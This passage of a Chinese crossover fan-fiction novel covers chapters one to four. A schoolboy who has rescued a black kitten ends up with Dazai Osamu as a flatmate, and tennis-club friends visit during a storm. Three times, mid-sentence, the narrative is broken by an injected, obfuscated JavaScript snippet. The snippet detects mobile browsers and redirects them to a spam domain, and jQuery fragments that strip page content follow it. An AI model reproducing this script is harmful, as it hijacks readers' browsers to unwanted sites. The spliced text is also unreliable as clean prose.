《无证饲养首领宰可以吗》
1. 第一章
第一章 正版@晋江文学城
——
……
“如果能实现一个愿望,你会选择什么?”
“那就,再见一面好了。”
……
“那个……胧君,恋情真的会成功吗?”
胧月凛看着面前的少女,她站在自己课桌前,犹豫着。
胧月凛十六岁,高二在读。
黑发,长度过腰。瞳孔是透明度拉很高,以至于有些像无色的蓝。像浅滩处,日光抚过海面,折射入眼的波光,清润透亮。
虽是冷色调,却给人一种宁静温缓的感觉,与本人气质十分相符。
胧月凛倾听女孩讲述的表情很认真,这也让女孩终于下定决心。
她小声却又坚定地问:“……我不是在质疑胧君你哦,因为真的非常想和对方在一起……可却又担心无法被接受,实在是不安。所以……忍不住地就会想问,许愿真的会成功吗?”
名为泉和纱的少女忐忑不安道:“真的不需要我再做什么吗?”
胧月凛肯定地点头。
胧月凛的态度冲散了少女的不安,她终于露出安心的笑:“真的呀……那就太谢谢你啦~”
“果然听从小西的建议,来找胧君是正确的选择!啊,对了!”
少女突然想起什么,将一封精美包装的信放在胧月凛课桌上,“呐,这是之前约定好的报酬哦!”
“多谢惠顾,”
胧月凛认真地将其收到书包里,递出一份写着“良缘成就”的御守:“不过在这之后……”
少女疑惑:“诶?”
“赶快回教室吧,”
胧月凛指向教室前的挂钟,“上课铃很快会响。”
泉和纱“哎呀”一声,抓紧时间向自己的教室跑,临走前不往留下一句:“胧君,真是很感谢你,得到好消息后我会来还愿的~”
隔壁桌一直在暗中观察的仁王雅治见少女身影消失后,一戳胧月凛,半开玩笑地说:“胧,你这生意真的做起来了?没想到啊——”
“我们不善言辞的胧月凛君,也有凭言语备受欢迎的一天呢——”他夸张道。
“人类为了生存,总会变得面目全非。”
胧月凛不为所动,简单地应付过这句话,收起桌面上一叠叠御守,一边拿出课本,一边道,“况且,她只为求个心安。”
“嗯哼?”
“看那里。”
胧月凛指向窗外,从这边可以看到清楚看到园艺社,那里有个男生正蹲在花圃旁,守着一盆向日葵念念自语。
“这不是那女生的暗恋对……”仁王雅治睁大眼,立刻反应过来。
胧月凛:“嗯。”
“很巧,不是吗?”
“puri~”仁王雅治懂了。
“那手术费用呢?”
仁王雅治又问,或者说这才是他的真实用意,“虽然这也能赚点,可还是不够吧?”
他指的是胧月凛家里的小猫。前几天胧月凛救下来的小黑猫。
小猫看样子是从高空坠落,伤得很重。
胧月凛当机立断,将猫送往宠物医院,但也因为伤势太重,医药费很高,凭胧月凛以往的积蓄,并不够。
好在医生人善,看在胧月凛是个学生的份上,免了一些,又同意他分期还款,这才算是解了燃眉之急。
胧月凛便过上了打工还债的日子。
这份写作“祈愿”,读作“心理疏导”的校内兼职便是其中之一。
“需要帮忙就说,”
仁王雅治表示,“虽然我是没什么零花钱,倒是赤也最近很富有~”
“暂时还不需要。”
胧月凛有点不适应仁王突如其来的关怀,况且对方每次摆出这种黏兮兮的氛围,往往会伴随着恶作剧……
他决定先行出手。
胧月凛从书包中掏出一瓶“柳汁”。
他和柳莲二联手出品的运动补剂,缺点是口感略刺激。
“试试看,新口味。”
“喂喂喂……”
胧月凛飘着黑气阴暗袭来,仁王雅治后缩,他才不要当试验品,就算下午的社团活动还是逃不了,也不要提前死掉!
今天还没打网球——
胧月凛稳准狠快地怼嘴一灌。
仁王雅治当即融化为一滩狐狸。
……
…………
“我说,”丸井文太戳狐狸滩,嚼嚼口香糖,“biu”地吐了个泡泡,“有这么夸张吗?不就是甜了点。”
丸井文太是个糖分大王,对最近以甜度为主题的“柳汁”适应良好。
“快点走啦,社团活动马上就到时间了——”
嗯?
仁王雅治从昏睡中醒来,可恶的文学课已然安全度过。
他一看,教室空空如也,只剩自己和丸井文太:“怎么是你?胧呢?”
平时仁王雅治上课睡着,都是和他同班的胧月凛负责喊着仁王去网球社,今天居然不在。
“胧说他今天有事先走了,拜托我来喊你啊,”丸井文太理所当然地说。
d班和b班去网球社不同路,不特意过来,他怎么可能走这里?
仁王是睡傻了才没反应过来吧。
“去哪里?”
仁王雅治下意识追问,话一开口突然反应过来,“哦,他今天要带那只猫回家。”
“猫?就是胧救助的那只流浪猫吗?”
“对,是只黑猫,遇到时奄奄一息的,能活过来也是奇迹。”
“这样啊……那要不要去探望一下?”
“puri?”
“好吧好吧,是赤也啦~英语又挂科了,他的任课老师找上副部长,下了通牒说,如果这次补考不过,就要取消参赛资格。”
“哦……”
话到这里,仁王雅治突然想起一件事:“说起来……胧是在你经常去的甜品店附近打工吗?”
丸井文太一愣:“没有啊?”
“胧之前就辞职了。好像是因为经常有同学去买东西,他怕被老师发现。”
“没办法,便利店离学校太近了……”
仁王雅治自语:“咦……那他最近去
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486881|170089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
哪了……神神秘秘的。”
丸井文太没听清:“怎么了?”
“不,或许是我想多了。”
“好吧,”丸井文太说回正题,“赤也怎么办?”
丸井吐槽:“赤也也真是的,都高等部了,还是路痴……”
“赤也是得去一趟~”
不过……顺便可以借口看猫,跟过去打听下胧在做什么。
仁王雅治眼珠一转:“我带他去。”
“欸——”
……
…………
唔,幼猫,牙齿还在发育,应该吃软饭。
正在超市采购食材的胧月凛认真对比过后,选择了海鲜类作为料理重点。
其实他对仁王雅治撒了谎。
小猫坠落是真、送医,治疗费分期也是真。可是……所谓的住院并不存在。
因为小猫伤势恢复起来异常地快。
当初胧月凛将小猫送医后,说的是坠落伤,医生的初步诊断也的确如此,可当医院如临大敌地做完一系列检查过后,小猫从奄奄一息的状态自行恢复到了……活猫微死?
是从必须需要住进icu到可以居家养护的程度。
懵逼的医生只能其称为医学奇迹,将猫和账单打包送给胧月凛,并告知:如有其它问题,再送来医院好了。
办理完领养证的胧月凛便开始了单身养猫的日子。
或许伤势太重了,也可能是被吓到,小黑前几天都不怎么活动,一只猫默默地躺着,背影充满忧愁。
所以今天,胧月凛特意请了社团的假,提前去采购一些食材,希望食物能让它打起精神。
不过……既然医疗费用比预期低,就在吃食上补回来也不错。
胧月凛这么想着,步履轻快地赶回公寓。
打开家门的一瞬间,胧月凛陷入沉默。
“……”
他关门。
再次开门。
“………………”
关门开门关门开门关门开门。
景象没变。
卷纸。
漫天遍野。
全是卷纸。
从天花板到门把手到橱柜到沙发到茶几到目光所及的一切。
长长的白纸凌乱分布,像不精心规划的乡间小路,主打一个随意。而道路的终点,是只缠绕着卫生纸的黑色幼猫,并且缠绕着一根不知从而而来的红色围巾。
而原本,该好好待在脖子上的伊丽莎白圈——浸泡在碗中,而那只脱离束缚的猫,正是拆家的罪魁祸首。
幼猫对饲主的到来毫不惊讶,一只猫端坐房屋中央,鸢色猫眼淡淡地看胧月凛,泰然自若地抬起一只爪。
“哧溜——”
旋即幼猫僵住,仿佛自己做了什么天理难容的事,它若无其事地放下猫爪,换了个姿势,居高临下地、睥睨地、
扫了眼胧月凛。
卷纸随着它的动作发出窸窸窣窣的响声,胧月凛手无力松开,塑料袋坠落,新鲜鱼块接触地面,“啪叽”一声响。
胧月凛握拳,深吸一口气:“你——”
2. 第二章
第二章 正版@晋江文学城
——
……
这是我自愿捡的。
是我要养的是我要养的是我要养的。
胧月凛深呼吸。
吸气呼气吸气呼气。
他隐忍地脱掉外套,隐忍地换家居鞋,隐忍地将食材放入冰箱,隐忍地来到小黑身边。
而小黑,不知出于什么原因,猫眼锁定对方,坐定如钟地等着,看胧月凛完成一系列动作,然后绕过卷纸铺成的阵法,向自己走来。
对猫的体型来说,人类实在是个庞然大物。而它所犯下的拆家之错,也足以勾起一位高中生的怒意。
很快的,胧月凛占据了幼猫的全部视野。
巨物恐惧是存在于所有生物心中的。
这很好理解,因为过于庞大的生物,能更轻易地伤害到弱小的那个,因此,在趋利避害的本能下,人类难免会选择接近比自己更加弱小的一方。
胧月凛越走越近。
幼猫视线变得狭隘,触目所及只能看到一片深黄布料,影子投下,光线变得暗淡,为了适应黑暗环境,它的瞳孔不断收缩。
可它战胜了逃离的本能,仍旧一动不动地蹲在沙发边沿。
那么……让它看看,这位“胧月凛君”,会对自己做什么呢?
胧月凛对幼猫的想法一无所知,更是已经习惯了猫猫的沉默寡言。
他站定,半蹲下身,与猫平齐。
而后,他仔细地看了看猫,仍然是毫无反应。
像个傻子一样。
难道是还没有恢复吗?能把家拆成这样,不应该啊……
他没看出端倪,迟疑片刻,自然地夹起嗓子:“咪咪?还好吗?”
说着,伸出手指,试图摁上猫头。
幼猫本能地抖耳朵,甩头,晃开手指。
好吧,不让摸就算了。
看上去行动不受限,身体没什么问题就好。
胧月凛多少放下心来。
不过……
“你缠卷纸做什么?如果太紧,造成窒息就麻烦了。”
一边说着,胧月凛一边伸出手,试图拆开缠在幼猫身上的卷纸。
幼猫反应激烈地后退一步,抬起爪子。
胧月凛一愣,他第一次见到黑猫情绪如此外露。
问题是——
胧月凛快速出手,试图半空捞猫:“咪咪,你——”
然而还是慢了一步。
“咚”地一声,有猫落地。
原本就蹲坐在沙发边缘的幼猫,纯粹是借助着四条腿来维持平衡。
如今一退一抬爪,平衡点消失,它控制不住地后仰,倒栽葱插入地板。
只见幼猫趴在地板上,猫尾一竖,旋即缓缓滑落,整只猫摊倒,紧贴在地。
确认胧月凛目睹犯蠢全程的它,活猫微死。
“……你还好吗?”
胧月凛赶紧把猫捞起来,翻来覆去地检查一遍。
这会儿幼猫也不抵触别人的抚摸了,沉默着被扒拉,周身散发出淡淡死意,像是已经离开这美丽的世界。
好在没受伤。
“不行……感觉呆呆的,不吭声,反应也很迟钝。”
胧月凛扒拉一下猫爪,喃喃自语:“看来还是要找个时间带你去重新检查。”
猫猫听不得恶语,胧月凛小声嘀咕:“……不会是之前跌下来,摔出问题了吧?”
出了这样的意外,胧月凛也不纠结猫身上的卷纸和围巾了,只是把它们重新调整了角度,不要在活动时勒到猫就行。
然后,
然后就该收拾公寓了。
艰难清理完现场的胧月凛拖着疲惫的步伐,把自己摔进沙发。
沙发足够大,躺下一个清瘦的少年绝对不成问题。
他侧过脸看看猫窝,幼猫沉默地蹲在窝里,毛脸发黑,看不出情绪。
“呼……好累。先休息会儿吧。”
胧月凛任凭自己放空大脑。
过了会儿,他觉得趴着有点不舒服,又翻了个身仰面躺着。
客厅光源用的是老式白炽灯,色彩昏黄,时不时还会发出嗡嗡声响,很是催眠。
胧月凛目光涣散地盯着电灯看了会儿,不知不觉就睡着了。
再次醒来是被开门声吵醒。
老式栅栏门开合的声音很大,锁也有凝滞感,用钥匙拧动的时候总会出现咔吱咔吱的声音。
胧月凛懒得修,将就着用。
也有好处。
譬如有人来,能通过声音及时发现。
胧月凛睡眼惺忪地支起胳膊,探头望向门口。
他迷迷糊糊看出,来人是名穿着黑色西服的少年,是不认识的人。
对方自来熟地打招呼:“呀,醒了?”
“唔……”
刚睡醒的灯光比较刺眼,胧月凛抬起手挡住眼睛,声音含混,下意识应了一声。
刚睡醒,大脑还没反应过来。
他凭借本能,迷迷糊糊地往沙发的一头挪了挪,半坐起身来,给对方留出一点坐的空间。
对方就这么顺水推舟地坐下了。
丝毫看不出两人只是初次见面,还是擅自入内。
胧月凛慢吞吞地晃了下脑袋醒神,先去看猫窝,发现小猫不在,视线搜寻,在猫窝后面发现了一小节尾巴。
胧月凛放下心来,抬眼看向对面的人。
嗯……年纪和他差不多大,应该也是十六岁左右,有点矮。
在学校里,胧月凛自己就不算很高的那类,但也有一米七多的个子,粗略估计这位,大概在一米六五左右。
对于不需要抬头看的人,胧月凛一向会增加初始好感,而且……少年,黑发鸢眸,眼睛颜色和他的小猫一模一样。
因为这点微妙的相似,胧月凛的起床气消掉大半。
胧月凛问:“你是?”
少年对着态度硬邦邦的胧月凛面不改色,声音轻快:“那就先来个自我介绍吧~”
“我是太宰,太宰治。”
胧月凛面不改色,直白道:“不认识。”
他又补了句:“你进来的时候就不能小声一点吗?”
吵醒深睡眠中的人,毫无道德可言。
胧月凛充满怨念。
“好吧好吧,”
太宰治一笑,冲淡了身上亦正亦邪的气质,他双手合十,诚恳道:“抱歉了胧君。”
但胧月凛发现了他话里的漏洞:太宰治并没保证什么诸如没有下次了,或者下次不打扰了之类的。
胧月凛:“……”这道歉毫无诚意。
太宰治微笑着注视胧月凛:“所以……我们可以说正事了吗?”
少年鸢眸暗沉仿佛漩涡般,将每位看到他眼睛的人,卷入其中。
然而胧月凛毫无所觉:“虽然是不速之客……可以,”他话锋一转,“有什么事?你说吧。”
“那个啊……”
胧月凛看到对方脸颊一红,表情羞涩,似是难言之隐,和胧月凛曾见过准备表白的少女别无二致。
只听太宰说着:“太直白人家会有点不好意思,让我想想,要怎么说才好呢——”
他一手做拳,敲在另一只手上,笑意吟吟道:“是这样的……”
胧月凛突觉不妙,想开口阻止——
“胧月凛君你目前租住的房子原房东已过世现在将房子转到我的名下所以我特地前来通知请你收拾收拾准备搬家以上”
胧月凛睁大眼:“……”哈?
完全是他没考虑过的盲区。
无论如何……
胧月凛冷静地挑出重点:“买卖不破租赁。”
“说是这么说啦,”
太宰治笑意不改,“可房东我啊,也只有这一栋房子住呢。”
“据我所知,房东名下有三十五栋房。”
太宰叹:“孩子不成器,婆婆只想给一栋。”
胧月凛表示:“我不要搬走。”
“搬走。”
“不搬。”
“你搬。”
“不搬。”
“我搬。”
“不搬。”
“很好,就这么说定了!我搬来,咱们一起住。”
太宰治达成目的,果断结束沟通,“以后就多多指教了,舍友~”
胧月凛嘴巴微启:
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486882|170089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“……?”
被套路了。
太宰治搭手在眼前,好奇地望了一圈,以他的目光看,这间公寓很普通。
房子是二室一厅,没看出房间主人有特别的爱好,倒是很整洁,对于独居的高中生来说,能把房间维持好秩序,就算居家良好性选手了。
“稍稍有点好奇~胧君住哪间卧室呢?”
胧月凛说:“我没有同意你留下。”
“拜托拜托——”
太宰咻地挤到胧月凛身边。
他大概是还没开始发育,比胧月凛要矮半个头,脸颊带着婴儿肥,相对胧月凛见过的同龄人,更显稚气。
少年本人对自己的相貌可谓是相当了解,当他刻意想利用颜值优势来做些什么的时候,所向披靡。
胧月凛想要垂下眼,回避太宰的视线。
然而这不是个好的选择,一旦视觉中心下移,反而能更清楚地看懂太宰治的表情。
而且从他这个的角度看上去,太宰的婴儿肥十分丰盈,软软鼓鼓的一团,翘起的弧度也和猫屁股很像。
……胧月凛有点想捏,他艰难克制住冲动。
见胧月凛有所触动,太宰治更加投入地表演,调整角度,仰着秀气好看的脸,眼中闪烁盈盈泪光。
呐?呐呐呐呐?
够不够凄惨?
胧、胧月凛觉得,再待下去会有危险。
太宰治身体前倾,无限贴近胧月凛,压迫着胧月凛向沙发边退。
太宰见势,气焰嚣张、步步紧逼。
胧月凛退到沙发边缘,再往下就会像小黑一样摔下去,退无可退,只能看着太宰治闪烁泪光的眼睛。
少年软糯可怜的声音略带哭腔。
“内内,其实我啊,很不受家人欢迎,只有婆婆可怜我,才分了一栋房子给我……然而在听说我有房可住后,家人便无情地将我抛弃……”
“如果胧君不收留我的话,我晚上就只能去海边,找个废墟或者集装箱住了呢。”
“……听说最近会有一场大暴雨,住在里面一定是又冷又湿,而且而且,或许还会有水渗进来。到时,就不得不睡在冰冷潮湿的水箱中。”
“说不定啊,还会有螃蟹顺着缝隙挤进来,要和我做邻居……”
理智告诉胧月凛:这绝对是演的。
可、可他怎么不由自主地点头同意了。
“好耶!”
太宰治举手欢呼,喜色外露。
“谢谢你,你真是个大好人!”
胧月凛:…………
他回忆自己的座右铭:来都来了。
胧月凛深吸一口气,安慰自己:他还是个孩子。
不过,
胧月凛表示:“住进来可以,先立好规矩。”
“嗯嗯。”
“我一直住在次卧,你去主卧吧。”
“只是……”
胧月凛犹豫了下,还是说道:“主卧那边偶尔会有些声响,是邻居传来的,你介意吗?”
他又补了句:“一般是睡前。”
太宰治夸张地挥舞双臂:“胧君肯收留,我便别无所求了——区区噪音,自然是不算什么。”
胧月凛:“……”行吧。
胧月凛不知该如何回应太宰的夸张,他选择跳过这段。
“然后是公共区域,你随便用,我没什么介意的。卫生一周处理三次,从我开始,两人依次轮换。”
“只有一点,”
胧月凛指向猫窝,示意太宰治看去。
“我养了只猫,散养。它还小,希望你不要介意。”
“当然不介意~”
太宰治感兴趣地问,“倒不如说,我也很喜欢小动物,请问猫在哪里?”
胧月凛看了眼,客厅里没看到猫影,便道:“可能躲起来了,它喜欢一只猫待着。”
“不用在意,”他脱口而出:“猫很安静……”
胧月凛可疑地沉默了两秒,面不改色地:“偶尔有些调皮,应该不会有大的破坏。”
再看太宰治,没看出有什么不好的情绪,他松口气,说:“如果它做了什么,提前和你说一声抱歉,我会严肃地教育它。”
3. 第三章
第三章 正版@晋江文学城
——
……
既然都同意太宰入住了,索性帮人帮到底。
胧月凛问:“你之前住在哪里?需要帮忙喊搬家公司吗?”
“不用哦,”太宰治拒绝了。
“那行,”胧月凛没有多做纠缠,“需要什么告诉我,有备用的,给你一套。”
最后的结果是,太宰治说他什么也不需要搬,空着手来的。
胧月凛找了半天,才翻出一床够大的被褥,借给太宰。
房间里的床还是当时房东留下的,一张两米四双人床,占据了房间的视野中心,除此之外就是一个床头柜了。
还有一个面积大到可以睡觉的橱柜。
胧月凛抱着被褥去主卧时,太宰治正伏趴在地,姿势是标准的下犬式。
胧月凛:“……”
胧月凛:“太宰,你钻进橱柜做什么?”里面什么也没放。
“唔唔、这是入住前的特别仪式哦。”
太宰治声音含糊不清,橱柜里动静梆梆,隐约能看出一只手在挥来挥去。
……什么奇怪的入住仪式。
胧月凛默了一下,把被褥放到床上。
胧月凛:“太宰……今天就这么睡,可以吗?”
太宰头也不回地应:“嗯嗯。”
“那你自己铺好。”
看情况应该是用不到自己。
胧月凛转身就走。
……
所以,这么快就收拾完了?
胧月凛捏汤勺的手微微颤抖了一下。
“抱歉抱歉。”
太宰治自来熟扒着厨房的推拉门。
太宰很擅长观察别人情绪,此刻正在煮着料理的那个人,显然是嫌弃他碍眼。
可知道归知道,谁说一定要在意了?
太宰治无辜地说,“我饿了?”
说着,肚子也配合地“咕噜”一声。
他还挺理直气壮的……
胧月凛没回,低头看围裙。是之前便利店抽到的质量不错,他挺喜欢用的。
只是胸前印了四个硕大的字:欢迎光临。
胧月凛突然想让围裙下岗,他从没觉得这四个字那么碍眼过。
经历过一段思考人生意义的深刻反省。锅盖跳跃,汤锅噗噗地响起来,水开了。
胧月凛关掉燃气灶。
猫还小,不能饿到它。
他垂下眼,视线转移到灶台上。
燃气灶的余温还在烘烤着雪平锅,蒸汽上飘,浅褐色小泡咕嘟,蟹腿和鲜虾在汤锅中翻滚,香气四溢。
再重复一遍,胧月凛的座右铭是:来都来了。
胧月凛劝好自己。
既然事已至此,他问:“吃吗?”
答案是吃。
忽略掉门前存在感十足的视线,得到肯定回复后,胧月凛便挑出锅中最漂亮的几块切碎,做成猫饭。
最后,才剩余的边角料整理好进行调味,这就是他们今晚的晚餐:海鲜锅。
……
横滨此时正值深冬,海滨城市风很大,窗户处时不时会传来一阵尖啸声,是严寒妄图穿过屏障。
不久,响起“噼里啪啦”的急促雨声。
太宰治没说谎,只听声音也能判断出,很快便会有一场暴雨降临。
小黑不知跑到哪去了,胧月凛没有看到,只好把猫饭留在厨房。
氤氲而上的水蒸气分开二人,把彼此的面容添加上一层模糊的滤镜。
即便面对面,也让两人看不清咫尺之外,对方的神情。
时间仿佛停滞住。
过了会儿,胧月凛率先打破沉默:“我开动了。”
碗筷碰撞的清脆声打破寂静,汤底泛起涟漪,被搅动后再次氤氲出的气息钻入鼻尖。
衡量食物的关键,永远避不开嗅觉这一关卡。
饭菜的香气也往往会决定最初的食欲。
剩下的,就是入口那部分了。
胧月凛浅浅地舀了一勺汤,眼睛亮起。
不错,经过独家改良,选用了几乎没有味道的蔬菜,既没有喧宾夺主,盖过海鲜的鲜味,又增加了一丝蔬菜特有的清淡。
而且提前拿出姜片这点简直是灵魂,既有了去腥驱寒的功能,又不至于在汤中显出辣味。
胧月凛又咬了口蟹腿。
小黑会喜欢吗……?
刚刚好像没看到猫猫,不知道它跑去了哪里。
太宰治坐在已经铺上棉被的暖桌边,用热风烘烤着的棉被散发出比体温略高的温度,不刺激,是一种长久且柔和的暖意。
胧月凛做的料理,对于长期饮食不规律的人来说,是相对和缓的品类,不至于给胃部带来太大负担。
一口暖汤下肚,太宰治有些难耐地动了下双腿。
长年不分时节的入水,再年轻难免也要受些风寒。常年不得主人爱惜的双腿便是其中一项。
现在被暖流烘烤着,连同胃部被热食抚慰后散发出的温度,内外交织在一起,带给太宰治一种陌生的麻痒感。
仿佛冰天雪地中停留了许久的旅人,终于在即将冻僵的最后时刻,回到自己温暖的家。
他难得多吃了些。
……
安静祥和的氛围只持续了不到十分钟,急促地敲门声打断胧月凛的进食。
……说真的,来胧月凛这儿的人,根本就没有几个。
胧月凛拉开门,不出所料,一顶湿漉漉的黑色卷毛闯入视线,碧绿眼睛的少年半个肩膀都被打湿了,怀里的网球包却毫发无损。
他兴奋不减:“胧前辈,好久不见!”
胧月凛点头:“其实也没多久……”
“前辈,那个,其实我有事相求。”
你还能求什么事?
胧月凛无奈,很懂地回:“英语补习?”
这也算是网球部的常态了,大家都会用自己擅长的学科和朋友互相补习。
“嗯嗯!不愧是胧前辈!”
切原赤也眼睛pikapika,神情崇拜。
“只是还有一个不情之请!”
切原赤也超大声,“外面在下暴雨!今晚能不能借住在前辈家!”
胧月凛大方道:“欢迎光临。”
至于切原赤也身后那位,胧月凛瞥。
“puri~
仁王雅治笑,厚脸皮地从切原赤也身后挤进来,若无其事地:“胧,来看望你和你的猫。”
说着他换下家居鞋,伺机向屋内望去:“今天接回家了吧?它还好——”
嗯?
新客人?
仁王雅治眨眨眼。
确实有个人,穿着黑色西服,坐在暖桌边,正在吃着什么,看到仁王雅治后,自然地冲他笑了一下打招呼。
仁王雅治回以一笑。
真稀罕,胧月凛除了网球部成员外的朋友,他几乎都认识,这位……
隐约察觉到一些不同寻常的感觉,仁王雅治不由自主地停下脚步。
切原赤也问:“仁王前辈,怎么了?”
胧月凛淡淡,“恐怕是良心发现,觉得自己叨扰了。”
说着,他拉开玄关柜,掏出一块毛巾丢到仁王头上,另一块递给切原赤也。
“你们两个不冷吗?”
又补一句,“刚拖完地,擦干净再离开玄关。”
仁王罕见地没有吭声,乖乖拿起浴巾擦滴水的小辫子。
反常举动让胧月凛瞅他好几眼,又回头去看太宰和赤也。
这两位看起来很正常。
胧月凛索性也不管了,决定反正来都来了,下着暴雨,总不能退货。
当务之急是:“饿了吗?来吃饭吧。”
暖桌是正方形,四个人各占据一边,位置刚好。
餐桌上,太宰和仁王一左一右坐在胧月凛身边,大眼瞪小眼。
两位不速之客心怀鬼胎。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15486883|170089||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
“你好你好。”
“幸会幸会。”
只有切原赤也这孩子,对诡异气氛毫无所觉,很快扒完一碗米饭。
“胧前辈,你做的料理还是那么好吃!”
切原赤也竖起大拇指。
胧月凛满意,这才是他想要的客人啊。
胧月凛猜到切原赤也会来,特地多准备了料理,他温柔地:“厨房还有米饭,自己去盛吧,你知道在哪里不是吗?”
切原赤也点点头,他来补习很多次,熟门熟路。
切原赤也转身去了厨房,互瞪的两位假笑开口。
“你是胧的朋友?”
“真巧,你也是凛的朋友?”
等下,凛?
胧月凛打断交涉,眼神犀利:“谁允许你喊‘凛’的?”
日本人一贯注意礼貌上的细节,也发明出适应各种场合敬语,其中一项便是:对刚认识的人,一般称呼姓氏。
如果上来就喊名,不是自来熟,就是心存挑衅。
总之,一概为僭越之举。
太宰治无辜眨眼,声音柔弱:“凛——”然而并不改正。
胧月凛静静地看着他:你想做什么?
太宰治委屈:“我们都是要睡在一起的关系了,连名字也不可以喊吗?”
仁王雅治:“puri~?”
“睡在一起?”
切原赤也端着碗回来时,只听到最后一句,“我们四个人?”
他很懂地表示:“一张床睡不开的。”
正觉得无论怎么解释都很奇怪的胧月凛松了口气。
而桌上四个人,有一半因为联想到躺在一张床上而汗毛直竖。
不过话都说到这里了,切原赤也边吃边问:“胧前辈,我们还是睡在一起吗?”
玩这么大?
仁王雅治惊,他第一次送切原赤也来补习,同床共枕这事还真不知道。
再加上对面这位太宰君。
被立海大论坛污染且榜上一直有名的某人啧啧。
胧月凛肯定仁王绝对是想歪了,但他并不想解释,随便对方怎么想吧。
胧月凛点头:“可以。你慢慢吃,我去看猫。”
说着他喝完手中的汤,拍拍手:“多谢款待——”
指自己款待自己。
是的,在两人打嘴仗、切原赤也暴风吸入时,拥有正常饭量以及正常吃饭速度的胧月凛已进食完毕。
他不准备继续参与幼稚鬼们的缠斗,想去找找猫在哪里。
然而,只是被无视了几句话的功夫,太宰治眼中居然涌动着——泪光???
胧月凛震撼。
“凛…酱?”
太宰治女鬼般幽怨又凄凄惨惨地声音缠绕住胧月凛,他寒毛直竖。
“这么快就要舍弃我了吗…?”
一句话被他说得崎岖十八弯,“明明、明明人家也想……”
太宰拭泪。
胧月凛恶寒。
“pia叽”,切原赤也筷子滑落:这么可怜的吗?!
胧月凛冷漠地试图扯回衣角,而太宰治丝毫不放。
旁观二人拉扯的仁王雅治差点笑出声。
在场唯一良心切原赤也犹犹豫豫,试图解救他敬爱的胧前辈:“那个,太宰前辈?”
“嗯?”
专注拉扯的太宰治头也不抬,只顾得上应这一声。
切原赤也却仿佛得到了什么肯定,学着姐姐曾经劝朋友时的语气道:“前辈放心吧,胧前辈不是那种始乱终弃的渣男。”
“如果他答应了,无论多困难都会做的!”
“而且,太宰前辈你为什么不大度一点?”
胧月凛加大力度,试图扯回衣角。
剩下二人一同看去,切原赤也掀起暖桌被子,下面藏着几本辅导书,歪歪扭扭写着切原赤也的名字。
“你看,这里一直是胧前辈帮我整理的专座,前辈你坐在这,我也没说什么啊。”
4. 第四章
第四章正版@晋江文学城
——
“赤也,你是不是误会了什么?”
“唔?”
切原赤也塞了满满一嘴饭,他努力咽下去,说:“难道不是因为陇前辈你太好了,所以太宰前辈想和你在一起睡觉来拉近关系?”
“毕竟大家都觉得,待在胧前辈你身边,很有安全感。”
太宰治都没想过自己还有粘人这种设定,表情复杂。
胧月凛:“……”
胧月凛:“………………谁说的?”
仁王雅治扶额:“赤也……真是说出了不得了的话。”他打了个哈哈,略过安全感。
趁太宰治凝固,胧月凛借机扯回衣角:“你们商量吧。还有,我可以睡在客厅,房间让给你们。”
他还没忘记自己刚刚要做什么,重复:“我去找猫。”
“嗯嗯,前辈去吧。等下我来刷碗。”
还是赤也懂事,虽然经常语出惊人……
胧月凛迅速离开是非之地。
……
窝里没有猫,胧月凛先去了厨房,看餐盘,幼猫已经吃过饭了。
“小黑?”
胧月凛找了一圈,没看到,他甚至趴在地上翻了沙发底和床底,却只在犄角旮旯见到些猫毛。
“奇怪……去哪儿了?”
检查屋内的门窗都好好地关着,小黑出不去。
胧月凛把掉落的猫毛收集到盒子里,暂时作罢。
一通翻找后,太宰三人已经吃得差不多了,暖桌上已恢复原貌,切原赤也去厨房洗碗,剩下二人各做各的,看样子已经休战。
胧月凛路过:“怎么样了,我睡客厅?”
“凛酱,为什么要问出不可能发生的事呢?”
太宰治笑说,他不故意说些搞怪话时,给人的感觉危险阴郁,这会儿反问胧月凛,似乎别有所指。
胧月凛像是毫无所觉,仅凭字面意义理解:“行吧,我还以为你想自己……”
他停口,又说:“算了,我还有两床被褥,够用了,你们随便安排。”
说完,胧月凛又去次卧翻书。
他很忙,今晚既要做完作业,还要准备切原赤也的辅导计划。
胧月凛住的次卧铺着榻榻米,睡觉要每天晚上拿出被褥铺好,在地上睡。
之所以选择次卧……便是因为里面有一个超大的书柜。
书柜被胧月凛利用的很好,里面装满了书,涉猎广泛。还有些儿童绘本,放在较下层的位置,看上去翻阅频率还不低。
“唔……”
胧月凛顺着书脊,一一扫过,指尖准确地点在一本单词书上。
“找到了。”
这是教切原赤也常用的辅导书,胧月凛翻到上次讲解的页面,待会儿顺着讲就可以了。
一切准备完毕后,胧月凛坐在暖桌旁,边复习边等切原赤也收拾完厨房。
仁王外表看上去轻佻,但其实学习态度和成绩都不错。
